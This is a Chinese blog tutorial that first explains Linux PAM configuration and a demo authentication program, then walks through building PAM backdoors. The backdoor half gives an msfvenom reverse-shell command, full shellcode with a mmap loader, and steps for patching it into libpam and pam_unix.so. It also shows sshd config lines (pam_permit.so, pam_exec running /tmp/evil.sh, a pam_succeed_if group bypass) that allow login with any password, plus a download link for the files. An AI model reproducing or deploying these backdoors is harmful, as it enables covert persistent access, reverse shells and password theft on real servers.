中定义的会话管理模块,例如初始化用户环境和设置资源限制在 PAM(可插入认证模块)系统中,/etc/pam.d/other
配置文件通常用作默认回退策略。当没有特定服务的 PAM 配置文件时,系统会使用 other
配置文件。这个文件可以用来处理所有未明确配置的 PAM 服务,确保即使是未指定的服务请求也能按照某种策略进行处理
#
# /etc/pam.d/other - specify the PAM fallback behaviour
#
# Note that this file is used for any unspecified service; for example
#if /etc/pam.d/cron specifies no session modules but cron calls
#pam_open_session, the session module out of /etc/pam.d/other is
#used. If you really want nothing to happen then use pam_permit.so or
#pam_deny.so as appropriate.# We fall back to the system default in /etc/pam.d/common-*
#
@include common-auth
@include common-account
@include common-password
@include common-session
@include common-auth
common-auth
配置文件common-auth
配置文件,定义了系统的通用认证策略,例如验证用户密码@include common-account
common-account
配置文件common-account
配置文件,定义了系统的通用账户管理策略,例如检查账户是否被锁定或过期@include common-password
common-password
配置文件common-password
配置文件,定义了系统的通用密码管理策略,例如更新密码和检查密码复杂度@include common-session
common-session
配置文件common-session
配置文件,定义了系统的通用会话管理策略,例如初始化用户环境和设置资源限制配置总体执行流程
调用 common-auth
中定义的模块:
common-auth
中定义的认证模块,例如验证用户密码,确保用户具有进行特权操作的权限调用 common-account
中定义的模块:
common-account
中定义的账户管理模块,例如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定调用 common-password
中定义的模块:
common-password
中定义的密码管理模块,例如更新用户密码和检查密码复杂度调用 common-session
中定义的模块:
common-session
中定义的会话管理模块,例如初始化用户环境和设置资源限制模块类型前可以使用 -
作为前缀,表示如果该模块不可用(例如模块文件丢失或无法加载),系统不会将其视为错误,而是继续处理下一个模块。这对于处理一些非关键模块非常有用,可以防止因模块不可用而导致整个 PAM 处理失败
控制标志除了之前提到的 4 种外,还包括 include
、 substack
其中可以包含各种条件判断,格式为 [value1=action1 value2=action2 ...]
其中 valueN 可以从以下内容中选择
success,open_err, symbol_err, service_err, system_err, buf_err, perm_denied, auth_err, cred_insufficient, authinfo_unavail, user_unknown, maxtries, new_authtok_reqd,acct_expired, session_err, cred_unavail, cred_expired, cred_err, no_module_data, conv_err, authtok_err, authtok_recover_err, authtok_lock_busy,authtok_disable_aging, try_again, ignore, abort, authtok_expired, module_unknown, bad_item, conv_again, incomplete, default
其中 actionN 可以从以下内容中选择
1
:跳过一个模块2
:跳过两个模块3
:跳过三个模块前面介绍了服务模块以及配置文件,了解了如果我们需要什么样的功能需要怎样配置,除了 PAM 库本身以外,还有最后一个部分 —— PAM 使用者。
接下来我们要以一个 demo 程序 myapp
,简单演示一下普通程序如何使用 PAM
这个程序就一个简单的功能,登录,成功的情况下输出 Authenticated
sudo apt-get install libpam0g-dev
我们只需要用到 pam_unix.so
#%PAM-1.0
auth required pam_unix.so
account required pam_unix.so
pam_auth.c
#include <security/pam_appl.h>
#include <security/pam_misc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>// PAM 会话对话函数
static struct pam_conv conv = {
misc_conv,
NULL
};
int main() {
pam_handle_t *pamh = NULL;
int retval;
const char *user;
char username[256];
// 获取用户名
printf("Username: ");
if (scanf("%255s", username) != 1) {
fprintf(stderr, "Failed to read username\n");
exit(1);
}
user = username;
// 初始化 PAM 会话
retval = pam_start("myapp", user, &conv, &pamh);
if (retval == PAM_SUCCESS) {
// 验证用户凭证
retval = pam_authenticate(pamh, 0);
}
if (retval == PAM_SUCCESS) {
// 验证用户账户
retval = pam_acct_mgmt(pamh, 0);
}
// 输出认证结果
if (retval == PAM_SUCCESS) {
printf("Authenticated\n");
} else {
printf("Authentication failed: %s\n", pam_strerror(pamh, retval));
}
// 结束 PAM 会话
if (pam_end(pamh, retval) != PAM_SUCCESS) {
pamh = NULL;
fprintf(stderr, "Failed to release PAM authenticator\n");
exit(1);
}
return (retval == PAM_SUCCESS ? 0 : 1);
}
简单介绍一下与 PAM 相关的代码
retval = pam_start("myapp", user, &conv, &pamh);
if (retval != PAM_SUCCESS) {
fprintf(stderr, "pam_start failed: %s\n", pam_strerror(pamh, retval));
return 1;
}
pam_start
函数初始化一个 PAM 会话句柄 pamh
pam_start
失败,程序会显示错误信息并退出pam_start
函数是 PAM(Pluggable Authentication Module,可插入认证模块)库中的一个关键函数,用于初始化一个 PAM 会话。它创建并初始化一个 PAM 会话句柄,该句柄用于后续的所有 PAM 操作
函数原型
int pam_start(
const char *service_name,
const char *user,
const struct pam_conv *pam_conversation,
pam_handle_t **pamh
);
参数详解
service_name
:
类型:const char *
说明:指向一个字符串,该字符串指定 PAM 服务的名称。这个名称通常对应于 /etc/pam.d/
目录中的一个配置文件。例如,如果 service_name
是 "login"
,则 PAM 将使用 /etc/pam.d/login
文件中的配置
user
:
类型:const char *
说明:指向一个字符串,该字符串指定要进行认证的用户名。如果此参数为 NULL
,则 PAM 模块可能会提示用户输入用户名
pam_conversation
:
类型:const struct pam_conv *
说明:指向一个 pam_conv
结构体,该结构体定义了应用程序与 PAM 之间的对话函数。这个对话函数用于处理 PAM 模块向用户发出的请求,例如输入密码
pamh
:
类型:pam_handle_t **
说明:指向一个 PAM 会话句柄的指针。pam_start
成功时,它会分配并初始化这个句柄,并将其地址存储在 pamh
中。这个句柄在后续的 PAM 操作中使用
返回值
int
PAM_SUCCESS
;否则,返回相应的错误码。常见的错误码包括:PAM_ABORT
:内部错误PAM_BUF_ERR
:内存分配错误PAM_CONV_ERR
:对话函数错误PAM_SYSTEM_ERR
:系统错误retval = pam_authenticate(pamh, 0);
if (retval != PAM_SUCCESS) {
fprintf(stderr, "pam_authenticate failed: %s\n", pam_strerror(pamh, retval));
pam_end(pamh, retval);
return 1;
}
pam_authenticate
函数是 PAM(Pluggable Authentication Module,可插入认证模块)库中的一个关键函数,用于验证用户的身份凭证。它通常用于检查用户输入的密码是否正确,是 PAM 认证流程中的核心步骤之一
函数原型
int pam_authenticate(pam_handle_t *pamh, int flags);
案例里使用的是密码认证,如果使用其他认证方式,只需要修改 PAM 配置文件,使用其他模块即可,不需要修改这里的代码
参数详解
pamh
:
类型:pam_handle_t *
说明:指向之前通过 pam_start
函数初始化的 PAM 会话句柄。这个句柄在整个 PAM 会话期间用于存储 PAM 的状态信息
flags
:
PAM_SILENT
:阻止 PAM 认证模块产生任何消息输出PAM_DISALLOW_NULL_AUTHTOK
:拒绝空的认证令牌(如空密码)类型:int
说明:用于控制认证操作的标志。常见的标志包括:
返回值
int
PAM_SUCCESS
;否则,返回相应的错误码。常见的错误码包括:PAM_AUTH_ERR
:认证失败PAM_CRED_INSUFFICIENT
:凭证不足PAM_AUTHINFO_UNAVAIL
:认证信息不可用PAM_USER_UNKNOWN
:用户未知PAM_MAXTRIES
:超过最大尝试次数retval = pam_acct_mgmt(pamh, 0);
if (retval != PAM_SUCCESS) {
fprintf(stderr, "pam_acct_mgmt failed: %s\n", pam_strerror(pamh, retval));
pam_end(pamh, retval);
return 1;
}
pam_acct_mgmt
函数是 PAM(Pluggable Authentication Module,可插入认证模块)库中的一个函数,用于检查用户账户的状态。它通常用于在用户通过身份验证后,确保用户账户状态良好,例如账户是否被锁定或过期
函数原型
int pam_acct_mgmt(pam_handle_t *pamh, int flags);
参数详解
pamh
:
pam_handle_t *
pam_start
函数初始化的 PAM 会话句柄。这个句柄在整个 PAM 会话期间用于存储 PAM 的状态信息flags
:
PAM_SILENT
:阻止 PAM 模块产生任何消息输出int
返回值
int
PAM_SUCCESS
;否则,返回相应的错误码。常见的错误码包括:PAM_ACCT_EXPIRED
:账户已过期PAM_AUTH_ERR
:认证错误PAM_PERM_DENIED
:权限被拒绝PAM_USER_UNKNOWN
:用户未知PAM_NEW_AUTHTOK_REQD
:需要新的认证令牌if (retval == PAM_SUCCESS) {
printf("Authenticated\n");
} else {
printf("Authentication failed: %s\n", pam_strerror(pamh, retval));
}
if (pam_end(pamh, retval) != PAM_SUCCESS) {
pamh = NULL;
fprintf(stderr, "Failed to release PAM authenticator\n");
exit(1);
}
pam_end
函数是 PAM(Pluggable Authentication Module,可插入认证模块)库中的一个函数,用于结束一个 PAM 会话并释放相关的资源。调用 pam_end
函数是确保 PAM 会话正确关闭并清理分配资源的必要步骤
函数原型
int pam_end(pam_handle_t *pamh, int pam_status);
参数详解
pamh
:
pam_handle_t *
pam_start
函数初始化的 PAM 会话句柄。这个句柄在整个 PAM 会话期间用于存储 PAM 的状态信息pam_status
:
int
pam_end
的状态值,通常是最后一次 PAM 函数调用的返回值。这个状态值可以用于记录或日志目的,以帮助诊断和调试返回值
int
PAM_SUCCESS
;否则,返回相应的错误码。常见的错误码包括:PAM_SUCCESS
:操作成功PAM_SYSTEM_ERR
:系统错误gcc -o pam_auth pam_auth.c -lpam -lpam_misc
第一次输入不存在的用户;第二次输入错误的密码;第三次输入正确的账号密码,可以看出,程序使用 PAM 准确地进行了验证
终于到与标题相关的部分了,没想到前摇这么长,如果大家详细看了前面的内容,如何制作 PAM 后门就非常清晰了,就是 PAM 架构的四个部分
这个其实不属于 PAM 后门的范畴了,就是直接或间接修改了应用程序,手法也比较清晰
这种方法属于是通用方法,与修改常用程序无异,例如直接修改 ps 、top 等,但是 PAM 库作为认证使用的库,很多 ssh 端口对公网暴露,可以直接实现端口复用的效果,所以 PAM 通常用来添加后门账户、窃取明文密码等
这里直接拿比较成熟的案例进行演示,简单来说就几步
以 Ubuntu Server 22.04 为例
PAM 版本为 1.4.0-11ubuntu2.4
https://github.com/linux-pam/linux-pam/releases
https://code.launchpad.net/ubuntu/+source/pam
既然我是 Ubuntu,直接通过 apt
来进行下载
sudo apt update
sudo apt install dpkg-dev
apt source libpam0g-dev
修改 /etc
的配置,将 deb-src
的源注释取消
我们就在 pam_start.c
中进行添加
MSF 生成 shellcode
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.44.135 LPORT=4444 -f c
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x11\x5c\xac\x10\x2c\x87\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
加载器代码如下
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>int main() {
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x11\x5c\xac\x10\x2c\x87\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
pid_t pid = fork();
if (pid == 0) {
// 子进程
if (setsid() < 0) {
_exit(1);
}
chdir("/");
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
size_t shellcode_len = sizeof(buf);
void* exec_mem = mmap(NULL, shellcode_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (exec_mem != MAP_FAILED) {
memcpy(exec_mem, buf, shellcode_len);
((void(*)())exec_mem)();
}
_exit(0);
}
return 0;
}
既然我们不是直接做成二进制可执行文件,而是将其嵌入到 PAM 的源代码中,我们可能需要进行修改
我们只需要主程序就够了
sudo apt-get install flex libdb-dev libselinux1-dev libaudit-dev pkg-config libfl-dev libfl-dev:native docbook-xsl docbook-xml xsltproc libxml2-utils w3m
./configure
make -C libpam
这种危险操作一定要备份好原程序,由于我这边是虚拟机,可以随时恢复,这里就不备份了
成功获取到返回的shell ,当然如果想实现其他功能,例如获取明文密码等也可以通过追踪执行流程来完成
这只是一个非常粗糙的后门,插入位置等都不是合适,只是为了演示,可能会影响正常认证,大家不要直接使用,而是在测试之后选择稳定的使用
基本上大家写的案例都是针对 PAM 模块的,功能都是添加后门账户/窃取明文密码,比较经典,我这里还是直接使用上面 MSF
生成的后门代码好了,让其每次认证都反弹一次 shell ,这里只是想说可以执行任意代码,而不只是与身份凭证相关的内容,在真实攻击中,需要考虑实际情况
获取源代码的操作是一样的,这次我们修改认证最常用的 pam_unix.so
模块
modules/pam_unix/pam_unix_auth.c
这是个经典位置,通常用来获取明文用户名及密码,这样也方便大家找到
编译 pam_unix.so
sudo apt-get update
sudo apt-get install build-essential autoconf libtool libssl-dev libaudit-dev libdb-dev libcrack2-dev libtirpc-dev
./configure
make -C libpam
make -C modules/pam_unix
MSF 开启监听
备份并替换 pam_unix.so
登录测试
可以看到,使用错误的密码,登录虽然失败了,但是返回了反弹的 shell
同样的,这也是一个粗糙的后门,如果使用一定要测试清楚
我们上面讲过, PAM 配置文件除了几个通用的配置,基本是与服务一对一的,如果单独建立服务,再建立一个配置文件,我觉得不属于这个范畴,所以我们考虑的方向主要在于修改现有配置文件达到留后门的目的
如果在 /etc/pam.d/sshd
文件中,添加一条永远返回 true 的语句,并且后续不再验证,就会导致用户任意登录
auth sufficient pam_permit.so
退出后,随意敲击密码进行登录尝试
成功登录
auth optional pam_exec.so /path/to/malicious_script.sh
配置 MSF 监听
在 /etc/pam.d/sshd
中添加如下配置
auth optional pam_exec.so /tmp/evil.sh
进行登录尝试
成功反弹 shell
auth [success=1 default=ignore] pam_succeed_if.so user ingroup xxx
auth required pam_unix.so
大家可以回顾一下之前的 pam_succeed_if.so
的用法,可以实现一些判断条件,例如是否在某个组里
/etc/pam.d/common-auth
使用 join 用户进行登录尝试
输入任意密码都可以登录,这种配置在提权等方面也可以用到
利用 PAM 配置文件制作后门的方法还有很多,上面已经写了所有可用的模块以及配置文件,大家可以查看模块的参数以及配置文件的语法进行进一步组织后门
https://pan.baidu.com/s/1rMQiZ88ProWXnAtXAc2IJg 提取码: vobd